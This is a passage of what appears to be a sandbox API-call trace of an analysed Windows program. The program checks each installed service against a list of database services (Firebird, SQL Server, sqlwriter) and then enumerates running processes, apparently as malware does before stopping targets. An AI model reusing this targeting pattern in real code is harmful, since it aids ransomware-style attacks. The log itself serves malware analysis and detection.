[0291.809] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0291.809] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0291.809] lstrlenW (lpString="LanmanWorkstation") returned 17 [0291.809] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0291.809] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0291.809] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0291.810] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0291.810] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0291.810] lstrlenW (lpString="lfsvc") returned 5 [0291.810] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0291.810] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0291.810] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0291.810] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0291.810] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0291.810] lstrlenW (lpString="lmhosts") returned 7 [0291.810] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0291.810] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0291.810] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0291.810] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0291.810] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0291.810] lstrlenW (lpString="LSM") returned 3 [0291.810] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0291.810] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0291.810] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0291.810] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0291.810] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0291.810] lstrlenW (lpString="MpsSvc") returned 6 [0291.810] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0291.810] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0291.810] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0291.810] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0291.810] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0291.810] lstrlenW (lpString="NcbService") returned 10 [0291.810] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0291.810] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0291.810] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0291.810] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0291.810] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0291.810] lstrlenW (lpString="netprofm") returned 8 [0291.811] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0291.811] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0291.811] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0291.811] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0291.811] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0291.811] lstrlenW (lpString="NgcSvc") returned 6 [0291.811] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0291.811] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0291.811] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0291.811] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0291.811] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0291.811] lstrlenW (lpString="NlaSvc") returned 6 [0291.811] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0291.811] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0291.811] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0291.811] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0291.811] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0291.811] lstrlenW (lpString="nsi") returned 3 [0291.811] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0291.811] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0291.811] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0291.811] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0291.811] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0291.811] lstrlenW (lpString="PcaSvc") returned 6 [0291.811] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0291.811] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0291.811] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0291.811] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0291.811] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0291.811] lstrlenW (lpString="PlugPlay") returned 8 [0291.811] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0291.811] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0291.811] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0291.812] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0291.812] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0291.812] lstrlenW (lpString="Power") returned 5 [0291.812] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0291.812] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0291.812] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0291.812] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0291.812] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0291.812] lstrlenW (lpString="ProfSvc") returned 7 [0291.812] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0291.812] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0291.812] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0291.812] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0291.812] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0291.812] lstrlenW (lpString="RpcEptMapper") returned 12 [0291.812] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0291.812] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0291.812] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0291.812] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0291.812] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0291.812] lstrlenW (lpString="RpcSs") returned 5 [0291.812] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0291.812] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0291.812] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0291.812] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0291.812] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0291.812] lstrlenW (lpString="SamSs") returned 5 [0291.812] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0291.812] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0291.812] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0291.812] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0291.813] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0291.813] lstrlenW (lpString="Schedule") returned 8 [0291.813] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0291.813] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0291.813] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0291.813] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0291.813] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0291.813] lstrlenW (lpString="SecurityHealthService") returned 21 [0291.813] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0291.813] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0291.813] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0291.813] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0291.813] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0291.813] lstrlenW (lpString="SENS") returned 4 [0291.813] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0291.813] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0291.813] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0291.813] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0291.813] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0291.813] lstrlenW (lpString="ShellHWDetection") returned 16 [0291.813] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0291.813] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0291.813] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0291.813] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0291.813] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0291.813] lstrlenW (lpString="Spooler") returned 7 [0291.813] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0291.813] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0291.813] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0291.814] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0291.814] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0291.814] lstrlenW (lpString="StateRepository") returned 15 [0291.814] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0291.814] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0291.814] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0291.814] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0291.814] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0291.814] lstrlenW (lpString="SysMain") returned 7 [0291.814] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0291.814] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0291.814] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0291.814] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0291.814] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0291.814] lstrlenW (lpString="SystemEventsBroker") returned 18 [0291.814] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0291.814] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0291.814] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0291.814] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0291.814] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0291.814] lstrlenW (lpString="Themes") returned 6 [0291.814] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0291.814] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0291.814] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0291.814] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0291.814] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0291.814] lstrlenW (lpString="tiledatamodelsvc") returned 16 [0291.814] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0291.814] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0291.814] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1 [0291.815] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1 [0291.815] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44548b0 | out: hHeap=0x700000) returned 1 [0291.815] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x354 [0292.100] Process32FirstW (in: hSnapshot=0x354, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0292.101] Process32NextW (in: hSnapshot=0x354, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x69, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0292.102] lstrlenW (lpString="System") returned 6 [0292.102] Process32NextW (in: hSnapshot=0x354, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0292.102] lstrlenW (lpString="smss.exe") returned 8 [0292.103] Process32NextW (in: hSnapshot=0x354, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0292.103] lstrlenW (lpString="csrss.exe") returned 9 [0292.103] Process32NextW (in: hSnapshot=0x354, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0292.104] lstrlenW (lpString="wininit.exe") returned 11 [0292.104] Process32NextW (in: hSnapshot=0x354, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0292.105] lstrlenW (lpString="csrss.exe") returned 9 [0292.105] Process32NextW (in: hSnapshot=0x354, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0292.106] lstrlenW (lpString="winlogon.exe") returned 12 [0292.106] Process32NextW (in: hSnapshot=0x354, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0292.107] lstrlenW (lpString="services.exe") returned 12 [0292.107] Process32NextW (in: hSnapshot=0x354, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0292.108] lstrlenW (lpString="lsass.exe") returned 9 [0292.108] Process32NextW (in: hSnapshot=0x354, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x230, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0292.108] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0292.109] Process32NextW (in: hSnapshot=0x354, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0292.109] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0292.109] Process32NextW (in: hSnapshot=0x354, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0292.110] lstrlenW (lpString="svchost.exe") returned 11 [0292.110] Process32NextW (in: hSnapshot=0x354, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0292.111] lstrlenW (lpString="svchost.exe") returned 11 [0292.111] Process32NextW (in: hSnapshot=0x354, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x230, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0292.112] lstrlenW (lpString="dwm.exe") returned 7 [0292.112] Process32NextW (in: hSnapshot=0x354, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x34, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0292.112] lstrlenW (lpString="svchost.exe") returned 11 [0292.112] Process32NextW (in: hSnapshot=0x354, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0292.113] lstrlenW (lpString="svchost.exe") returned 11 [0292.113] Process32NextW (in: hSnapshot=0x354, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0292.114] lstrlenW (lpString="svchost.exe") returned 11 [0292.114] Process32NextW (in: hSnapshot=0x354, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x128, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0292.115] lstrlenW (lpString="svchost.exe") returned 11 [0292.115] Process32NextW (in: hSnapshot=0x354, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x23, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0292.115] lstrlenW (lpString="svchost.exe") returned 11 [0292.115] Process32NextW (in: hSnapshot=0x354, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x424, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0292.116] lstrlenW (lpString="svchost.exe") returned 11 [0292.116] Process32NextW (in: hSnapshot=0x354, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0292.117] lstrlenW (lpString="svchost.exe") returned 11 [0292.117] Process32NextW (in: hSnapshot=0x354, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0292.118] lstrlenW (lpString="svchost.exe") returned 11 [0292.118] Process32NextW (in: hSnapshot=0x354, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x554, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0292.119] lstrlenW (lpString="svchost.exe") returned 11 [0292.119] Process32NextW (in: hSnapshot=0x354, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x56c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0292.119] lstrlenW (lpString="svchost.exe") returned 11 [0292.119] Process32NextW (in: hSnapshot=0x354, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0292.120] lstrlenW (lpString="spoolsv.exe") returned 11 [0292.120] Process32NextW (in: hSnapshot=0x354, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x61c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0292.122] lstrlenW (lpString="svchost.exe") returned 11 [0292.122] Process32NextW (in: hSnapshot=0x354, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x638, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x518, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0292.123] lstrlenW (lpString="audiodg.exe") returned 11 [0292.123] Process32NextW (in: hSnapshot=0x354, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x68c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0292.123] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0292.123] Process32NextW (in: hSnapshot=0x354, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0292.124] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0292.124] Process32NextW (in: hSnapshot=0x354, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x734, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0292.125] lstrlenW (lpString="Memory Compression") returned 18 [0292.125] Process32NextW (in: hSnapshot=0x354, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x900, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0292.125] lstrlenW (lpString="svchost.exe") returned 11 [0292.125] Process32NextW (in: hSnapshot=0x354, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0292.126] lstrlenW (lpString="sihost.exe") returned 10 [0292.126] Process32NextW (in: hSnapshot=0x354, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x960, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0292.127] lstrlenW (lpString="taskhostw.exe") returned 13 [0292.127] Process32NextW (in: hSnapshot=0x354, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x970, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0292.127] lstrlenW (lpString="msoia.exe") returned 9 [0292.128] Process32NextW (in: hSnapshot=0x354, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3b, th32ParentProcessID=0xa28, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0292.646] lstrlenW (lpString="explorer.exe") returned 12 [0292.646] Process32NextW (in: hSnapshot=0x354, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0292.647] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0292.647] Process32NextW (in: hSnapshot=0x354, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 